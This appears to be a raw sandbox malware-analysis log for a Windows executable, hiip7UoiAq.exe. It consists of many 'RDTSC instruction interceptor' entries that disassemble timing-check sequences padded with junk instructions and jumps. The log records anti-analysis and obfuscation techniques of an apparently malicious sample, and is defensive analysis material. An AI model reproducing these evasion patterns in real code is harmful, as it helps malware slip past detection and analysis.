Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F4BF8D second address: F4BFB8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6190F124C6h 0x00000008 jmp 00007F6190F124D7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F6190F124C6h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F4BFB8 second address: F4BFD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F6190F29212h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F5E603 second address: F5E60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62052 second address: F62066 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6190F29206h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F6190F29206h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62066 second address: F6206A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62473 second address: F6247F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6190F29212h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F6247F second address: F62485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62485 second address: F62492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jns 00007F6190F29206h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62BBF second address: F62BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007F6190F124C6h 0x0000000c popad 0x0000000d jo 00007F6190F124C8h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6190F124D7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62D7A second address: F62DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F6190F29208h 0x0000000b jo 00007F6190F29221h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F6190F29219h 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62DAF second address: F62DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F6190F124D2h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62DCC second address: F62DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62DD5 second address: F62DDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62DDA second address: F62DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F62DE0 second address: F62E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F124CEh 0x00000009 jo 00007F6190F124C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F6190F124C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F670BB second address: F670C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F670C1 second address: F670C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F6738C second address: F67393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F67393 second address: F673A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push esi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F68F58 second address: F68F68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6190F29206h 0x0000000a jg 00007F6190F29206h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F68B54 second address: F68B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6190F124C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: F68B5E second address: F68B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29217h 0x00000007 jmp 00007F6190F29211h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C039B second address: 55C03C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6190F124CAh 0x00000010 add cl, 00000018h 0x00000013 jmp 00007F6190F124CBh 0x00000018 popfd 0x00000019 mov eax, 25CF13CFh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C03C5 second address: 55C03DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6190F2920Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C03DF second address: 55C043F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F6190F124CEh 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6190F124CEh 0x0000001a add cx, 3738h 0x0000001f jmp 00007F6190F124CBh 0x00000024 popfd 0x00000025 mov bl, ch 0x00000027 popad 0x00000028 mov ecx, dword ptr [ebp+08h] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov ebx, 7B72ACFEh 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E060D second address: 55E0626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29215h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0626 second address: 55E0682 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F6190F124CEh 0x00000013 mov ebp, esp 0x00000015 jmp 00007F6190F124D0h 0x0000001a xchg eax, ecx 0x0000001b jmp 00007F6190F124D0h 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F6190F124CEh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0682 second address: 55E0688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0688 second address: 55E06BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d push ecx 0x0000000e mov ecx, edx 0x00000010 pop edx 0x00000011 movzx eax, bx 0x00000014 popad 0x00000015 push ebp 0x00000016 jmp 00007F6190F124CCh 0x0000001b mov dword ptr [esp], esi 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06BA second address: 55E06D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx ecx, di 0x00000009 popad 0x0000000a lea eax, dword ptr [ebp-04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F6190F2920Ch 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06D9 second address: 55E06DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06DF second address: 55E06E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06E3 second address: 55E06E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06E7 second address: 55E06F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06F5 second address: 55E06FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 0C664330h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E06FF second address: 55E073E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29216h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F6190F2920Ch 0x00000015 or eax, 27A88AA8h 0x0000001b jmp 00007F6190F2920Bh 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E073E second address: 55E077C instructions: 0x00000000 rdtsc 0x00000002 mov ch, EDh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F6190F124D5h 0x0000000c or si, 2EC6h 0x00000011 jmp 00007F6190F124D1h 0x00000016 popfd 0x00000017 popad 0x00000018 push dword ptr [ebp+08h] 0x0000001b pushad 0x0000001c mov cl, A4h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E077C second address: 55E0780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E07B3 second address: 55E07B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0011 second address: 55E00D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6190F29217h 0x00000009 sbb eax, 55A4D93Eh 0x0000000f jmp 00007F6190F29219h 0x00000014 popfd 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c jmp 00007F6190F2920Ah 0x00000021 push eax 0x00000022 pushad 0x00000023 jmp 00007F6190F29211h 0x00000028 push eax 0x00000029 movsx ebx, ax 0x0000002c pop eax 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f jmp 00007F6190F2920Fh 0x00000034 mov ebp, esp 0x00000036 jmp 00007F6190F29216h 0x0000003b push FFFFFFFEh 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F6190F29218h 0x00000046 jmp 00007F6190F29215h 0x0000004b popfd 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E00D3 second address: 55E00E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E00E3 second address: 55E00E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E00E7 second address: 55E0116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 606666BEh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 call 00007F6190F124D9h 0x00000015 pop eax 0x00000016 mov dx, 2FC4h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0116 second address: 55E0171 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6190F29218h 0x00000008 pop esi 0x00000009 call 00007F6190F2920Bh 0x0000000e pop eax 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 1525F8F6h 0x00000019 jmp 00007F6190F2920Fh 0x0000001e push 2C892E77h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F6190F29211h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0171 second address: 55E0177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0177 second address: 55E0181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 52E06BD9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0181 second address: 55E01DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 48B4FCF9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6190F124D7h 0x00000017 add eax, 5A6CDEFEh 0x0000001d jmp 00007F6190F124D9h 0x00000022 popfd 0x00000023 call 00007F6190F124D0h 0x00000028 pop ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E01DC second address: 55E0297 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f jmp 00007F6190F29214h 0x00000014 nop 0x00000015 jmp 00007F6190F29210h 0x0000001a push eax 0x0000001b pushad 0x0000001c mov ecx, edx 0x0000001e mov dl, BFh 0x00000020 popad 0x00000021 nop 0x00000022 pushad 0x00000023 jmp 00007F6190F29212h 0x00000028 popad 0x00000029 sub esp, 18h 0x0000002c pushad 0x0000002d mov edi, ecx 0x0000002f pushfd 0x00000030 jmp 00007F6190F29216h 0x00000035 xor ecx, 6005FC48h 0x0000003b jmp 00007F6190F2920Bh 0x00000040 popfd 0x00000041 popad 0x00000042 xchg eax, ebx 0x00000043 jmp 00007F6190F29216h 0x00000048 push eax 0x00000049 jmp 00007F6190F2920Bh 0x0000004e xchg eax, ebx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F6190F29215h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0297 second address: 55E029D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E029D second address: 55E030A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F6190F29216h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov ax, dx 0x00000016 mov si, di 0x00000019 popad 0x0000001a xchg eax, esi 0x0000001b jmp 00007F6190F2920Fh 0x00000020 xchg eax, edi 0x00000021 pushad 0x00000022 mov bx, si 0x00000025 mov dx, cx 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F6190F29218h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E030A second address: 55E0387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b push ecx 0x0000000c mov si, bx 0x0000000f pop ebx 0x00000010 pushfd 0x00000011 jmp 00007F6190F124CCh 0x00000016 xor eax, 265EF5B8h 0x0000001c jmp 00007F6190F124CBh 0x00000021 popfd 0x00000022 popad 0x00000023 mov eax, dword ptr [75444538h] 0x00000028 pushad 0x00000029 mov dx, cx 0x0000002c pushad 0x0000002d mov ecx, 407D5A3Dh 0x00000032 mov ecx, 21EA5D39h 0x00000037 popad 0x00000038 popad 0x00000039 xor dword ptr [ebp-08h], eax 0x0000003c pushad 0x0000003d mov cx, 7A71h 0x00000041 pushfd 0x00000042 jmp 00007F6190F124CEh 0x00000047 and ax, 4F48h 0x0000004c jmp 00007F6190F124CBh 0x00000051 popfd 0x00000052 popad 0x00000053 xor eax, ebp 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0387 second address: 55E038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E038B second address: 55E038F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E038F second address: 55E0395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0395 second address: 55E039B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E039B second address: 55E039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E039F second address: 55E03E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F6190F124D3h 0x00000011 pushfd 0x00000012 jmp 00007F6190F124D8h 0x00000017 xor ch, 00000038h 0x0000001a jmp 00007F6190F124CBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E03E7 second address: 55E03FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E03FF second address: 55E0473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F6190F124D6h 0x00000013 lea eax, dword ptr [ebp-10h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F6190F124CEh 0x0000001d sbb ax, FB28h 0x00000022 jmp 00007F6190F124CBh 0x00000027 popfd 0x00000028 pushad 0x00000029 push esi 0x0000002a pop edi 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e popad 0x0000002f mov dword ptr fs:[00000000h], eax 0x00000035 jmp 00007F6190F124CEh 0x0000003a mov dword ptr [ebp-18h], esp 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov ecx, ebx 0x00000042 pushad 0x00000043 popad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0473 second address: 55E04AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29214h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6190F29217h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E04AA second address: 55E04D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E04D3 second address: 55E04F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6190F2920Ch 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test ecx, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov di, ax 0x00000014 push ecx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E04F1 second address: 55E057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F6190F124DBh 0x0000000f pushad 0x00000010 mov edi, ecx 0x00000012 mov esi, 57DB2977h 0x00000017 popad 0x00000018 add eax, ecx 0x0000001a jmp 00007F6190F124CAh 0x0000001f mov ecx, dword ptr [ebp+08h] 0x00000022 pushad 0x00000023 push esi 0x00000024 pushfd 0x00000025 jmp 00007F6190F124CDh 0x0000002a jmp 00007F6190F124CBh 0x0000002f popfd 0x00000030 pop esi 0x00000031 pushfd 0x00000032 jmp 00007F6190F124D9h 0x00000037 xor ax, 5236h 0x0000003c jmp 00007F6190F124D1h 0x00000041 popfd 0x00000042 popad 0x00000043 test ecx, ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F6190F124CDh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E057E second address: 55E0584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D001B second address: 55D0045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ah, EAh 0x0000000c mov cx, bx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6190F124D7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0045 second address: 55D005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D005D second address: 55D00E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6190F124D7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov cx, 538Bh 0x00000015 push esi 0x00000016 mov edx, 669015B2h 0x0000001b pop edi 0x0000001c popad 0x0000001d sub esp, 2Ch 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F6190F124D4h 0x00000027 xor ch, FFFFFFC8h 0x0000002a jmp 00007F6190F124CBh 0x0000002f popfd 0x00000030 mov dx, cx 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F6190F124D0h 0x0000003c sbb ax, 7128h 0x00000041 jmp 00007F6190F124CBh 0x00000046 popfd 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D00E0 second address: 55D00E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
